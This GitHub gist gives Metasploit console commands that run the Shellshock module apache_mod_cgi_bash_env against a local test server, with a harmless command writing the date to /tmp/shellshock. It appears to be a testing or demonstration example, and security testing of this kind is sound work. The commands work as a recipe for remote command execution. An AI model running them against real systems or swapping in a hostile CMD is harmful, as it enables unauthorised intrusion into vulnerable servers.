Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save YourFriendCaspian/69f15bcbd5b8eb909910b19f0689a202 to your computer and use it in GitHub Desktop.
Save YourFriendCaspian/69f15bcbd5b8eb909910b19f0689a202 to your computer and use it in GitHub Desktop.
shellshock metasploit example use
# setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment
# good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole
#start msfconsole
use auxiliary/scanner/http/apache_mod_cgi_bash_env
set VHOST app.local
set TARGETURI "/all"
set RPORT 3000
set RHOSTS 127.0.0.1
set CMD 'echo NOW `date` > /tmp/shellshock &'
run
#check for file,etc
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment